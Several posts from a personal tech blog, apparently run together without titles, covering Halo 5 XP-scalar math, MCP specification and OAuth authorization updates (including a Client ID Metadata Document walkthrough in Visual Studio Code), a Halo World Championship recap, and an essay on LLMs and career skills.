Depending on your Spartan Rank, however, your earned XP will get boosted by a pre-determined multiplier - the XP Scalar. For example, if you earned 1,000 XP by default in a match, when the match ends you will get a total of 1,000 XP at SR1 but 2,252 XP at SR152 - more than double of the original, thanks to the scalar. This is not something that exists in Halo Infinite (or, at least, we don’t know if there is a rank-based multiplier behind the scenes), but in Halo 5 you could definitely make more experience over time just by virtue of your rank.

To get an idea of its importance, let’s do a little experiment to demonstrate how the scalar actually impacted your in-game XP earning potential.

Let’s say we want to compute how many matches it would take to get to SR152 from SR1. Let’s also assume, for the sake of making it easy on ourselves, that every match is going to yield a fixed 2,000 XP - hypothetically, we do not have any boosts or other factors that influence the outcome. This is just a middle-of-the-road game where the player performed just about average.

Matches required without a scalar #

Here is the number of matches at each rank that you’d need to reach SR152:

If you’re a math nerd like me, here are a few formulas to guide you. We compute the matches needed at rank as:

$$M_r = \left\lceil \frac{XP_{r+1} - XP_{current}}{XP_{match}} \right\rceil$$

Where:

$$M_r = \text{Matches needed at rank } r$$

$$XP_{r+1} = \text{Start XP of the next rank}$$

$$XP_{current} = \text{Current XP when entering rank } r$$

$$XP_{match} = \text{Fixed XP earned per match (2,000)}$$

$$\lceil \rceil = \text{Ceiling function (round up)}$$

So, if we take SR10 as an example, the filled out formula would look like this:

$$M_{10} = \left\lceil \frac{XP_{11} - XP_{current}}{XP_{match}} \right\rceil$$

$$= \left\lceil \frac{41{,}000 - 38{,}000}{2{,}000} \right\rceil$$

$$= \left\lceil \frac{3{,}000}{2{,}000} \right\rceil$$

$$= \left\lceil 1. 5 \right\rceil$$

$$= 2$$

We would need 2 matches given our past earned experience to hop from SR10 to SR11.

Total experience earned per rank would be computed as a sum of total matches per rank times the XP earned per match:

$$XP_{earned}(r) = \sum_{i=1}^{r} M_i \times XP_{match}$$

Using our SR10 example above, the calculation will look like this:

$$XP_{earned}(10) = \sum_{i=1}^{10} M_i \times XP_{match}$$

$$= (1 + 1 + 2 + 2 + 1 + 2 + 3 + 3 + 4 + 2) \times 2{,}000$$

$$= 21 \times 2{,}000$$

$$= 42{,}000$$

Total matches to reach SR152 are significantly simpler to compute here, because we just divide the total earned experience needed by XP per match:

$$M_{total} = \sum_{r=1}^{151} M_r = \left\lceil \frac{XP_{152}}{XP_{match}} \right\rceil = \left\lceil \frac{50{,}000{,}000}{2{,}000} \right\rceil = 25{,}000$$

Here is what the data looks like if we just decided to chart it out:

We’ll need 25,000 matches to reach SR152. That’s quite a bit of work. If every match is just five minutes long, it would take you 2,083 hours (or 87 days) to get to the top rank while playing non-stop.

Now, let’s take a peek what the alternative looks like, when we do have a scalar in play.

Matches required with a scalar #

Similar to the earlier exploration, the formula for matches needed at rank with the XP scalar is pretty much the same, with the exception of the scalar being multiplied by the base experience earned per match:

$$M_r = \left\lceil \frac{XP_{r+1} - XP_{current}}{XP_{match} \times S_r} \right\rceil$$

Where:

$$M_r = \text{Matches needed at rank } r$$

$$XP_{r+1} = \text{Start XP of the next rank}$$

$$XP_{current} = \text{Current XP when entering rank } r$$

$$XP_{match} = \text{Base XP earned per match (2,000)}$$

$$S_r = \text{XP Scalar at rank } r$$

$$\lceil \rceil = \text{Ceiling function (round up)}$$

So, back to our very simple SR10 example, the filled out formula to find matches needed at level would look like this:

$$M_{10} = \left\lceil \frac{XP_{11} - XP_{current}}{XP_{match} \times S_{10}} \right\rceil$$

$$= \left\lceil \frac{41{,}000 - 39{,}200}{2{,}000 \times 1.35} \right\rceil$$

$$= \left\lceil \frac{1{,}800}{2{,}700} \right\rceil$$

$$= \left\lceil 0. 67 \right\rceil$$

$$= 1$$

We would need 1 match given our past earned experience to hop from SR10 to SR11.

Total experience earned per rank is now computed as:

$$XP_{earned}(r) = \sum_{i=1}^{r} M_i \times XP_{match} \times S_i$$

And again, using our SR10 baseline, the calculation will look like this:

$$XP_{earned}(10) = \sum_{i=1}^{10} M_i \times XP_{match} \times S_i$$

$$= \underbrace{(1 \times 2{,}000 \times 1.0)}_{SR1}$$

$$+ \underbrace{(1 \times 2{,}000 \times 1. 0)}_{SR2}$$

$$+ \underbrace{(2 \times 2{,}000 \times 1.0)}_{SR3}$$

$$+ \underbrace{(2 \times 2{,}000 \times 1.05)}_{SR4}$$

$$+ \underbrace{(1 \times 2{,}000 \times 1. 1)}_{SR5}$$

$$+ \underbrace{(2 \times 2{,}000 \times 1.15)}_{SR6}$$

$$+ \underbrace{(2 \times 2{,}000 \times 1.2)}_{SR7}$$

$$+ \underbrace{(2 \times 2{,}000 \times 1.25)}_{SR8}$$

$$+ \underbrace{(4 \times 2{,}000 \times 1.3)}_{SR9}$$

$$+ \underbrace{(1 \times 2{,}000 \times 1. 35)}_{SR10}$$

$$= 2{,}000 + 2{,}000 + 4{,}000 + 4{,}200$$

$$+ 2{,}200 + 4{,}600 + 4{,}800 + 5{,}000$$

$$+ 10{,}400 + 2{,}700$$

$$= 41{,}900$$

Wait… Hold on a second. When we computed the same data without the scalar, we got 42,000 XP for SR10. How come are we getting 41,900 XP when we have a scalar in place? Should we not be getting more experience points at the same Spartan Rank?

Great observation! The reason why we have a slight difference here is because the scalar makes the experience earned a bit uneven. However, with the scalar in place we will play fewer matches to get to the same Spartan Rank.

To get to SR11 from SR10, without a scalar you’d need to play 21 matches. With a scalar? 18. You just shaved three matches off of your TODO list.

And speaking of total matches, we can compute them as such:

$$M_{total} = \sum_{r=1}^{151} M_r = \sum_{r=1}^{151} \left\lceil \frac{XP_{r+1} - XP_{current}}{XP_{match} \times S_r} \right\rceil$$

Or, if filled out with real data:

$$M_{total} = M_1 + M_2 + M_3 + \cdots + M_{151}$$

$$= \left\lceil \frac{XP_2 - 0}{2{,}000 \times 1. 0} \right\rceil + \left\lceil \frac{XP_3 - XP_{current}}{2{,}000 \times 1.0} \right\rceil + \cdots + \left\lceil \frac{XP_{152} - XP_{current}}{2{,}000 \times S_{151}} \right\rceil$$

Just for posterity, here is what the match volume per rank looks like in a bar graph - the overall shape of the graph is the same, but we’re now talking about a completely different upper bound:

Suddenly, the total number of matches is reduced to 11,196 - we more than halved the required number of games to reach SR152. That’ll “only” take 933 hours, or 38 days of non-stop play with the assumption of a match that is five minutes long (most of them are not).

Maximize the XP gain #

So, we now know that the XP Scalar actually matters. Are there other things that you can do to maximize your XP gain on the way to SR152 before Halo 5 goes the way of Halo 3 servers?

The trick to use Warzone XP/RP packs in Arena is still alive and well!

Once you go to Warzone, press the A and B buttons on your Xbox controller together really quickly, and if you time it right, you will get the screen to leave matchmaking, as well as the REQ Pack selection screen underneath it that will remain available after you leave the Warzone matchmaking.

Select a Warzone-specific REQ Pack and proceed to select any other Arena game mode to get more XP for less time.

And today, we, the collective maintainer group working on MCP, announced the release of the 2025-11-25 version of the specification - smack on the date of the protocol’s first anniversary. What a way to celebrate the birthday of the protocol.

The beginnings #

From the start, MCP struck me as the kind of project that was both sorely needed and required some community-oriented evolution. That’s actually why I got involved in the first place, starting with that fateful pull request from April of this year - #284. The beauty of open-source, right? Anyone can get involved at any time.

The idea behind my proposed change was to introduce some common OAuth conventions into the protocol to help developers avoid reinventing the wheel and having to build their own authorization servers (AS). Naively, I strung together many different ideas, piggybacking on my work in Microsoft’s Security division.

After a lot (and I mean, a lot) of deliberation and work with industry security and auth experts, the spec changes landed. That was the first time I’ve ever contributed to a standard at the bleeding edge of AI work, and that’s also when I was hooked on this kind of collaboration. There was so much work ahead, but the momentum behind MCP was undeniable - everyone was picking it up, from the scrappiest startups to giants like Microsoft and GitHub.

That April is what cemented the idea for me that I wanted to contribute more. As luck would have it, my work on the authorization spec was the gateway to me becoming one of the Core Maintainers, something I did not plan for. David Soria Parra, the co-creator of MCP, ended up taking a bet on me and putting a lot of trust in my ability to help corral the protocol alongside a wonderful crew of folks much smarter than me. What better way there is to learn the ropes of helping steer a massive ship than actually, well, help steer a massive ship. I am incredibly thankful for this opportunity because it was nothing short of formative.

This opportunity also opened the door for me to connect with many more folks in the AI and security spaces - something that I don’t think would’ve happened at the scale it did in an organic way (or at the same speed, at least). However, because we’re all helping build the same protocol, this became a natural byproduct of our community interactions.

Are we there yet? #

A lot of things have changed (clearly, my appearance included) since the protocol was first introduced. There is now a better story for security and auth, there are affordances for requesting user input through elicitations, extensions are now available to make the protocol better suited for custom scenarios, the governance is formalized, there is a consolidated contribution channel, and so much more.

Oh, and since launch, we now have a proper registry, which allows anyone to quickly discover MCP servers in the ecosystem. We now have more than 2,000 indexed MCP servers. That’s an impressive number, especially considering that in September of this year we started with just a bit over 300 indexed servers (you can take a peek at the raw data or its rendered version).

Take a look at today’s snapshot:

Hold on, so does that mean that in the past year only 2,000 MCP servers were created?

Not at all - there are way more servers across the web, these are just the servers that are indexed in the registry. If you browse GitHub or just search for them through your favorite search engine, you’ll find plenty out there that aren’t indexed yet. There are also enterprises that are building tens, if not hundreds, of MCP servers that are entirely for internal consumption, so we will never see them in any public registries.

I alluded to “folks much smarter than me” above, and I say that without any exaggeration - it’s been such a pleasure working alongside my fellow Core Maintainers, Maintainers, and the entire MCP community. Not just working, though - I also learned from them, as cliche as that sounds. Listing them individually here would take ten pages or more, so I will just direct you to our documentation and Discord to see just how many people are really involved in shaping the protocol.

All this is to say - the protocol has grown and evolved quite a bit in the past twelve months, but we’re nowhere near done. You can check out the roadmap to see what the community and maintainers are investing in next.

Things learned along the way #

I also wanted to summarize a few things that stood out to me from the past year, even if I wasn’t involved in shaping the protocol for the whole year.

• Operating at scale without governance is hard. Past a certain community engagement level, reviewing, tweaking, and accepting proposals will become extremely complicated, so the sooner you establish some governance principles, the better.
• You’re not alone. Every Spec Enhancement Proposal (SEP) you see in the MCP specification repository is a collaboration. You almost never lean on a “lone genius” to do things for you - not only will that approach not scale, but it will also result in missed opportunities to actually improve the project.
• Community health is key from the start. Nurturing a community of folks that are there to help each other is a monumental task that requires deliberate effort. I am so glad that we get to work with such awesome people like Ola Hungerford, Tadas Antanavicius, Cliff Hall, Jonathan Hefner, and Shaun Smith to help corral a lot of the community efforts.
• Don’t put a process in place until you need a process. A mistake folks often make is to try and put a heavyweight process in place that manages all aspects of a project from the get go. While the intentions there can be noble, the risk is that you’re going to alienate a bunch of folks that want to contribute but are intimidated by a thousand different steps. You can always evolve a lightweight set of rules.
• Build contributor relationships. Your most active contributors will help you beyond one change or bug fix. It’s important to recognize those that consistently show up, and help them contribute more. Folks that helped us shape the authorization specification have been consistently coming up with great ideas, such as the URL-mode elicitations and CIMD (Aaron is the go-to person for auth standards in the MCP space).
• When you impact the industry, bring the industry into the fold. MCP is not, as the anniversary blog post states, a one-company effort. As it started gaining traction in the industry, it was important to broaden the table and bring in more stakeholders that can help the maintainers bring the right decisions. For example, we worked with Visual Studio Code to bring CIMD support. Visual Studio Code has also been the testing ground for a lot of MCP features from the start, a testament to a good rapport built between the MCP crew and the Visual Studio Code engineers.

Above all, being involved with MCP continues to reinforce my belief that it’s always about the people. Protocols and products change, but it’s the people building them and consuming them who actually matter.

Latest changes #

With the new spec out, I would encourage you to check out what’s new in the latest release. The anniversary blog post also shines a light on what we’ve done for the past year and how the community influenced the direction.

And as always, your feedback and ideas around MCP are always welcome - use the specification repo as your starting point.

You’ve likely seen me ramble through the year about the authorization specification (which landed, what feels like, eons ago) and all of the MCP security items. Well, this specification release will also come with some authorization updates.

Client registration #

OAuth Client ID Metadata Documents #

This is, hands down, the most exciting change. Earlier this month I wrote about Client ID Metadata Documents (CIMD) and how they are used with Visual Studio Code. Moving forward, this will be the default way for clients to do registration with authorization servers (AS).

A CIMD-based approach is removing the need to deal with the headache of Dynamic Client Registration (DCR), which has been a thorn in my side for the better part of the year. The challenge with DCR is that because most AS don’t support it, developers had to jump through a bunch of hoops to work around this limitation. This led to a number of uncomfortable conversations where security vulnerabilities were uncovered because, as it turns out, handing security-related responsibilities to people who are not really familiar with the security space is a bad idea.

To implement DCR from scratch, developers often needed to re-implement a bunch of AS logic to “mask” the actual downstream AS. “Problematic approach” doesn’t even begin to describe the situation. In practice, this meant that they needed to learn how to manage client registrations, validate them, implement rate limiting, and so on. If your job is to build an MCP server, this is the last project you want to tackle. On the AS end, DCR was also problematic because it opened the doors for Denial of Service (DoS) attacks, where the same client can have many registrations, and if you don’t have some kind of upper bound control in place, things can get dicey quickly.

CIMD solves that problem by effectively stating that every client now has its own metadata available at a pre-defined URL, managed by said client. The AS can take that registration and properly log it, manage it, and even deny it if it so desires (e.g., a highly-protected corporate environment). Because all revolves around URLs when it comes to CIMD, the AS can also make a bunch of policy decisions based on the domain alone (e.g., allow all *.microsoft.com clients but deny all that are hosted in the *.ru zone). Neat!

Dynamic Client Registration is now not guaranteed #

With CIMD in play, the spec also changed the verbiage around Dynamic Client Registration from SHOULD to MAY support - that is, for backwards compatibility, DCR will still be there, but it’s not guaranteed:

MCP clients and authorization servers MAY support the OAuth 2.0 Dynamic Client Registration Protocol RFC7591 to allow MCP clients to obtain OAuth client IDs without user interaction. This option is included for backwards compatibility with earlier versions of the MCP authorization spec.

If you are an implementer, you don’t need to support DCR from now on.

Preregistration guidance #

We got a lot of questions from folks that weren’t quite sure how to handle scenarios when they want to manage the OAuth process end-to-end with their own client IDs. That is - what if you do not want to go through the registration steps? There are two options that are now well-documented:

1. You can rely on the client itself having been pre-registered with an AS (e.g., how Visual Studio Code is pre-registered with Entra ID). The client ID in this scenario will be hardcoded.
2. You can have the client provide a UI where customers can enter their own client ID and secret.

You might’ve noticed that Visual Studio Code, Claude Desktop, and ChatGPT already provide affordances to enter the client ID and secret when you connect to a protected MCP server and need to set OAuth up.

Priority order for client registration paths #

With different approaches to registration, the natural next question is - “How do I prioritize each if I want to support multiple?” This is also now explicitly documented. It boils down to:

1. Use pre-registration, if available.
2. Use the CIMD-based approach.
3. Use the DCR-based approach.
4. If all else fails, just ask the user to provide the client details.

Discovery enhancements #

Clearer path to PRM discovery #

With the release of the last specification version (2025-06-18), we introduced the concept of a Protected Resource Metadata document (see RFC 9728). With this change, MCP servers could now declare what AS they are using, but the discovery relied on the server responding with a WWW-Authenticate header that points to the PRM document via the resource_metadata field. This can work in most scenarios but sometimes it’s not possible to properly embed this metadata.

The spec now encodes the logic for clients to try and get the PRM by following a set of conventions.

OpenID Connect Discovery 1.0 support #

We added OpenID Connect Discovery (OIDC) 1.0 support to get the authorization server metadata. Using this approach allows us to be more flexible about the location of the AS metadata without compromising the steps needed in the authorization flow. This was already well-known, but is now codified in the spec.

Authorization servers now MUST provide at least one of two discovery mechanisms (standard OAuth 2.0 or OIDC).

Scope Management #

Remember how this summer I was hyping up SEP-835? It’s OK if you don’t, but that change introduced support for incremental scope requests in the MCP authorization specification. This capability allows servers to gradually request new scopes on an as-needed basis instead of having everything at once and storing over-permissioned tokens.

We added a few things to the specification that now make it very easy to understand how to accomplish this:

• Formally introduced Step-Up Authorization Flow for handling insufficient permissions during runtime operations.
• There is now a Scope Selection Strategy section that outlines how clients can determine what scopes to use.
• Servers SHOULD include a scope parameter in WWW-Authenticate headers to indicate required scopes. This means that you no longer need to rely on scopes_supported in the PRM as the go-to mechanism for understanding what scopes to request - just lean on the server to tell you.
• There is also a detailed Scope Challenge Handling section that offers some really crisp guidance on how to handle insufficient scope errors - you will need this if your original token doesn’t have the right scopes from the start.

And in case you missed it, 401 errors are not the only ones you will need to handle - there is now an explicit callout for HTTP 403 Forbidden with insufficient_scope that can happen. This is your regular reminder to always look a bit beyond the HTTP error codes.

Smaller enhancements #

To top all of the above, we’ve also introduced a number of smaller enhancements and clarifications that will help builders ensure that their MCP clients and servers are secure:

• Proof Key for Code Exchange (PKCE) is now mandatory - clients MUST verify PKCE support before proceeding with authorization. Clients MUST also use S256 code challenge method when technically capable
• Just piggybacking on the previous point, we added some clarifications on the use of code_challenge_methods_supported in AS metadata to make client decisions around PKCE support easier.
• Because we added support for CIMD, we also added a fairly extensive Client ID Metadata Document Security section covering SSRF risks, localhost redirect URI risks, and trust policies.

What’s next #

Now we’re just waiting for the spec to drop on November 25th, 2025 - stay tuned for a blog post announcing this on the Model Context Protocol blog. I also would highly recommend you check out our Security Best Practices document that outlines some of the emerging threats around MCP and how to mitigate them.

Just like in 2023 and 2024, my wife and I made our yearly trek to Seattle to see Halo World Championship 2025 in-person. This year was extra special because it also was the last year of Halo Competitive Series (HCS) that’s based on Halo Infinite, effectively being the farewell to this installment of the Halo series.

Halo Infinite might have reached the end of its life, but the folks at Halo Studios sure put on a show - The Last Dance, as one might say. For three days we watched some really intense matches, participated in a Free For All tournament, took a boatload of photos, and of course ran into quite a few friends we haven’t seen in a while. Oh, and be among the first to try the new Halo Campaign Evolved.

Attending HWC is a reminder what Halo and HCS specifically is really about (and why I stuck around this franchise for so long) - a diverse community of folks coming together from all over the world to watch a just as diverse roster of players showcasing some top tier Halo skills in action. Halo is for everyone.

Event photos #

And just like last year, I brought my giant camera (thank you to the amazing folks at Halo Studios for helping me get a media pass) and right away put it to good use. Here are some of the highlights.

Halo Campaign Evolved playtest #

A fun (and surprising) part of the event was that attendees got the chance to playtest The Silent Cartographer from the soon-to-be-released Halo Campaign Evolved. If you were at the venue and were confused by the massive walled-off area in the middle, that’s what it was about.

On the first day, the line was massive, so we decided not to brave it and instead partake in other activities, like watching the main stage. On the second and third days, though, it was relatively simple to go and sign up for a time slot and then play the game for twenty-ish minutes.

What’s next #

As I mentioned above, Halo Infinite has reached the metaphorical end-of-life. I say metaphorical because there is still a whole new operation released, but it will be the last one for this version of the game. It’s a bit of a bittersweet moment, especially as I think fondly of the early days of the game when I was reverse-engineering its API to be able to collect my stats.

With this, I think it’s worth mentioning that OpenSpartan will live on, and so will my .NET wrapper for the Halo Infinite API - Grunt API. I aim to still support OpenSpartan Workshop for those that are still playing Halo Infinite - although I don’t expect to put a ton of time into it given my other professional and personal priorities, I will make sure that the data collection part and its UI continue to work, as long as the Halo Infinite API itself remains in working shape (I expect it to be fine for the foreseeable future). You might even see an occasional Halo-related data analysis or API blog post popping up on this very blog.

This chapter of Halo is ending, but I am sure a new one will begin soon - after all, this coming year there will be a 25th year celebration HaloFest. I’ll be eagerly waiting for the next release and all the goodies it comes with.

Before I wrap up, I also want to express a huge “thank you” to so many folks at Halo Studios, but especially Diviyan Matheendran, Scott McMurray, Ron Brown, and Jeff Carnahan. Thanks to these folks I managed to learn so much more about Halo, tour the famous Halo Museum, get some one-of-a-kind signed posters (and stickers), and so much more. It’s such a wonderful crew of people - the franchise is in excellent hands.

With that, I am excited to see Halo grow and, you might say, evolve (hah!) - see you all next year!

Copyright #

Given that this is the internet, I need to mention this. I retain copyright on all these photos. Their use anywhere, whether for commercial or non-commercial purposes, is prohibited without my written consent.

One change that made it into the protocol was driven by Aaron Parecki into the authorization specification - support for Client ID Metadata Documents (CIMD). This work comes on the heels of the pain that developers have experienced for the past six months trying to get Dynamic Client Registration (DCR) working properly for their MCP servers. Spoiler alert - it’s neither fun nor easy to implement it from scratch if you’re using an Identity Provider that doesn’t support it. Let alone the complexity of now having to maintain a separate pseudo-Authorization Server (AS) for this purpose.

How CIMD works #

First, let’s maybe take a short detour into the world of CIMD and how it actually works. I won’t rehash the specification because you can read it on your own time. The gist of the approach is that instead of relying on some kind of client registration mechanism like DCR (or pre-registration, as is common in the OAuth world), a client can identify itself to an AS. To do that, the client effectively exposes a JSON document on a well-known URL that is treated as a client ID by the AS. The document itself contains the required metadata that allows the AS to reliably make a determination about the validity of the client.

The JSON the client hosts may look something like this (the URLs are entirely fictional - I am not yet hosting my own MCP server):

{
  "client_id": "https://mcp.den.dev/oauth/metadata.json",
  "client_name": "den.dev",
  "client_uri": "https://mcp.den.dev",
  "redirect_uris": ["https://mcp.den.dev/oauth/callback"]
}

With the client ready, we now also need to make sure that the AS supports CIMD - the approach here is not magical and requires work on both sides of the aisle. Prior to actually being able to get any tokens, a client would send a GET request to the AS authorization endpoint with the metadata URL as the client ID, and then jump through the same authorization hoops as one normally would to get the user credentials and ultimately - a credential (usually in the shape of an opaque token). This requires AS developers to implement support for the capability.

But if this requires work from AS developers, where can I start testing this functionality? What if I want to be able to build something with CIMD - do I need to wait until the AS my organization uses actually implements the draft RFC?

Indeed. However, the awesome folks at Stytch actually added support for CIMD already - you can use their AS for testing. They even put together an excellent education resource for those that want to learn more about the approach on the dedicated Client ID Metadata Documents site.

I really like this approach for its simplicity - if I am a developer of “Den’s MCP Server” hosted at https://mcp.den.dev, I am the only one that can actually host a CIMD on this domain. We’re back to using DNS as the source of truth. An AS can then verify the document from my server against a number of parameters (e.g., source matching the client ID, whether the expected redirect URIs are used) and then make a determination on whether to trust this client or not.

Now, some of you might jump up eagerly yelling at the screen “Den, but what about client secrets?” With CIMD, client secrets are not applicable. For all intents and purposes, we’re talking about a similar approach to other public clients in OAuth.

Integration in Visual Studio Code #

Starting last week, Visual Studio Code supports CIMD for MCP in its stable build. It hosts its CIMD here:

https://vscode.dev/oauth/client-metadata.json

To get everything up and running, we need to find an AS that we can tinker with. Luckily, we can use one that Max Gerber from Stytch put together in the open (you can view the hosted version too). We will also use a MCP server that Max provided that we can use out-of-the-box (we’ll need this URL to connect inside Visual Studio Code):

https://stytch-as-demo.val.run/mcp

When the MCP server is added, it will follow all of the steps that we’ve talked before. It even hosts its Protected Resource Metadata (PRM) where you expect it:

https://stytch-as-demo.val.run/.well-known/oauth-protected-resource

It looks like this:

{
  "resource": "https://stytch-as-demo.val.run/mcp",
  "authorization_servers": [
    "https://industrious-dress-4239.customers.stytch.dev"
  ],
  "scopes_supported": [
    "openid",
    "email"
  ]
}

So far so good, and nothing too different from other PRM documents we’ve seen before. After getting the PRM, the client (Visual Studio Code, in this case) will go ahead and get the AS metadata document. The URI for it is constructed based on standard OAuth conventions, and ends up being this:

https://industrious-dress-4239.customers.stytch.dev/.well-known/oauth-authorization-server

Which, inside, looks like this:

{
  "authorization_endpoint": "https://stytch-as-demo.val.run/oauth/authorize",
  "client_id_metadata_document_supported": true,
  "code_challenge_methods_supported": [
    "S256"
  ],
  "grant_types_supported": [
    "authorization_code",
    "refresh_token"
  ],
  "issuer": "https://industrious-dress-4239.customers.stytch.dev",
  "jwks_uri": "https://industrious-dress-4239.customers.stytch.dev/.well-known/jwks.json",
  "registration_endpoint": "https://industrious-dress-4239.customers.stytch.dev/v1/oauth2/register",
  "request_id": "request-id-test-b9d728aa-77f1-4fce-aa12-b9360ba521a2",
  "response_types_supported": [
    "code",
    "code token"
  ],
  "scopes_supported": [
    "openid",
    "profile",
    "email",
    "phone",
    "offline_access"
  ],
  "status_code": 200,
  "token_endpoint": "https://industrious-dress-4239.customers.stytch.dev/v1/oauth2/token",
  "token_endpoint_auth_methods_supported": [
    "client_secret_basic",
    "client_secret_post",
    "none"
  ],
  "userinfo_endpoint": "https://industrious-dress-4239.customers.stytch.dev/v1/oauth2/userinfo"
}

Notice the presence of client_id_metadata_document_supported. This is what hints to the client that they can bypass the entire registration dance and jump right in by sending a GET request like this:

https://stytch-as-demo.val.run
  /oauth
  /authorize
    ?client_id=https%3A%2F%2Fvscode.dev%2Foauth%2Fclient-metadata.json
    &response_type=code
    &code_challenge=luDEIWQzDnkpDAlm563kBp9CugNlwgWPb4BQBBq8JNg
    &code_challenge_method=S256
    &scope=openid+email
    &resource=https%3A%2F%2Fstytch-as-demo.val.run%2Fmcp
    &redirect_uri=http%3A%2F%2F127.0.0.1%3A33418%2F
    &state=Yk%2FLbnhh1Ht869Ua11VXKw%3D%3D

If you’re an OAuth aficionado, this will look super familiar - because it is. The only thing that really changed is that the client ID is now the metadata document URL and not some other identifier (e.g., a GUID in Entra ID).

And just like that, CIMD just works for protected MCP servers that rely on AS with this feature implemented inside Visual Studio Code:

What’s next #

As Paul Carleton (one of the MCP Core Maintainers) mentioned in his blog post from August of this year, CIMD is coming to the MCP specification and is already available in the draft that we’re aiming to make stable at the end of November. I am excited about this change mainly because it significantly simplifies how developers can protect their MCP servers without jumping through many (many) unpleasantries of DCR.

With Visual Studio Code already supporting this, and with a test AS being available from the folks at Stytch, if you’re a MCP client or server developer I highly recommend you start tinkering with it and seeing what the rough edges are and how those can be improved. And as always, MCP feedback is welcome!

I see the stuff Large Language Models (LLMs) generate daily, and boy do they still need a lot of intelligent human interfacing in the process. This might, of course, be a point in time constraint. Model capabilities can evolve non-linearly and we might just see one or more variants that will be able to perform a range of tech-adjacent tasks completely independently. Especially if guided properly. Today’s not that day.

But you know what - even if and when that day comes, I still see LLMs as idea implementation vehicles and not a replacement for creativity, agency, and taste. They are not a substitute for craft and actually knowing what you’re talking about, which is what I wanted to write down some ideas on.

If I wanted you to have one key takeaway from this entire essay - AI slop is not a replacement for a trifecta of domain knowledge, product sense, and engineering skills. Congratulations, you can stop reading this post. Or go on to learn more about my rationale.

Oh, and while I don’t believe that LLMs will replace us wholesale, all signs point in the direction of a major role expectation re-shuffle. That transition won’t take weeks, but it’s happening already and my goal is to get you prepared for it.

Role Flattening #

In my more-than-a-decade career, I’ve spent some time thinking about career moats and even interviewed Cedric Chin, the guy who coined the term for me, about it.

The idea behind a career moat is simple - it’s a unique combination of hard-to-acquire skills and talents that set you up for long-term career security and growth. This combination does not answer the “How easy will it be for me to continuously keep my job?” question and instead focuses on “How easy will it be for me to find my next job?” The former can set up perverse incentives ("Nobody on the team knows how this works other than me.") while the latter aligns them with the market ("Nobody in the world does this set of things better than me.").

So, naturally you want to establish a career moat for yourself if you want to accelerate your career growth and build in some resilience. The problem is that career moats are hard to build - they require time and intentional focus. The challenge is amplified by current LLM advancements, where some pieces of your existing tech-related moat might not be as durable.

Let’s put this into practical terms. If you’re someone who is absolutely killing it at UX design, can easily put that design into code with a prototype, and then be able to clearly outline the customer scenarios that you need to tackle before working with engineering teams - you have a pretty good collection of skills that can set you apart in a sea of candidates. It’s a nice combo, but is not exactly a moat anymore. Putting designs into code is now easier than ever - in the past few weeks alone, I managed to translate several Figma designs into working web-based prototypes in hours, not days or weeks. Best of all, I didn’t need to dive deep into any of the web frameworks that underpinned those. I had a job to do and I did it.

A lot of skills that previously required a specialized person (e.g., ability to put designs into prototypes) became and will continue to become more and more commoditized. Computers start getting better than us at many jobs (remember accounting before Excel), but believe me - it’s OK.

Isn’t skill commoditization a bad thing? Wouldn’t this mean that what previously required a few folks on a team now requires one person?

Not necessarily. This idea does get to the crux of my thesis, though - while skill commoditization is more common, it’s not a replacement a few timeless traits that will be relevant regardless of AI advancements, and these can actually strengthen the aforementioned career moat.

With a lot of the CRUD-like development capabilities becoming within reach of anyone with a keyboard and $20 to toss for a monthly subscription, this also means that anyone can start bringing their software ideas to life. But just like the invention of the 3D printer didn’t magically destroy the manufacturing market, LLMs won’t destroy the tech one. Just because we have robotic surgery machines doesn’t mean we no longer need surgeons that understand the innate workings of the human body. They can just do things differently with their expertise, skill, and experience. Ring a bell?

I talked about this before, by the way - the right lens to look through here is that the AI agents and LLM-based systems are merely augmentations that allow you to reach for more. While they are getting better quickly, they still need to lean on your skills to build things the right way. If you have no clue about authentication systems, an LLM isn’t magically going to create intrusion-safe code for you that you can ship to production. It might work but that’s way different than work securely and not expose your data.

All this is to say that expertise and an array of “augmentation” skills are still relevant. The specific spectrum of skills that will make you successful, however, is different than what we saw in the past decade. This will be uncomfortable if you haven’t thought too much about it before.

The toolbox of capabilities that democratizes the end-to-end of the product development process is significantly more accessible than it was before. There are tools that can help think through specifications for projects, start implementing the code, automate the testing and validation process, and then push and monitor things in production. Not bad for the past year alone, right?

What’s also changing is the set of well-defined roles in the industry. I see a trend towards role flattening, a phenomenon where well-defined role responsibilities become significantly blurrier. What was once a clear-cut set of priorities for a discipline becomes a much broader set of responsibilities, and nothing showcases that better than the emergence (or reemergence, depending on the field) of the “product engineer” role.

A product engineer, at its most basic, is a software engineer building products. They do similar work to software engineers: writing code and shipping features. Usually, they write fullstack code with a focus on the frontend. What makes them unique is their focus on creating a product for users. They care about building a solution to problems that provides value to users. They must be empathetic to users, and this means caring about user feedback and usage data.

A few years back, “product engineer” would’ve gotten a confused look from me. Today? I am one. Not kidding, by the way - it’s what I do at Microsoft.

The shift is quite significant compared to traditional product and product-adjacent roles. I don’t wait for engineering resources - I start building. I don’t wait for engineers to implement spec changes - I open the PR myself. I don’t wait for designers to tweak Figma mocks - I spin up a branch, pull the style guidelines via MCP, generate component variations with Claude Code, and push it for review to GitHub, where Copilot Coding Agent does a first pass. Need a prototype in a framework I’ve never touched? Done in hours. A/B test analysis with anomaly detection? Handled. Pattern recognition across thousands of feedback entries? Easy.

The lifehack here is to use all the AI tools to scale myself across what used to be hard role boundaries. And best of all, I’m not special here in any way - anyone with enough agency and curiosity can do this now.

If you’re stuck in the old ways of waterfall processes, fixed role responsibilities, waiting for permission to execute, or sling code over the wall just because it compiled on the first run - I’ve got bad news for you. There’s a reason that with the advent of vibe coding we are yet to see a Cambrian explosion of software businesses. As it turns out, writing code is not the bottleneck - there’s more to software than just auto-generating buckets of Python files.

The New Skill Stack #

Let’s revisit the topic of commoditization of skills. If many tech-related capabilities become easily available via LLMs, what does it mean for all of us that work in the field? If writing code becomes easier without prior knowledge, like that of web frameworks, what should one lean into studying and applying?

First of all - nothing will change when it comes to understanding of technology from first principles. Literally zero. Don’t let YouTube gurus fool you, because they are full of it. AI doesn’t obviate the need for being able to actually understand how things work.

There is no automated replacement for having deep knowledge of the fundamentals. You need to be able to spot that the produced implementation is bullshit because it copied seventeen CSS files in different folders when it could be one. In the same vein, you should be able to spot that returning the expected two-factor authentication code in the JSON body of the request to get said code is an asinine approach. So - learn how the things you care about actually work, it ain’t going away.

Second, you need to build or reinforce a new set of skills. Just like in Mortal Kombat you win through using combos, your career moat depends on you being able to wield skill combos. These are applicable to any career track in tech. Being proficient in all of them is what I call being a full-stack person. Treat them as complementary to the deep expertise you should develop first.

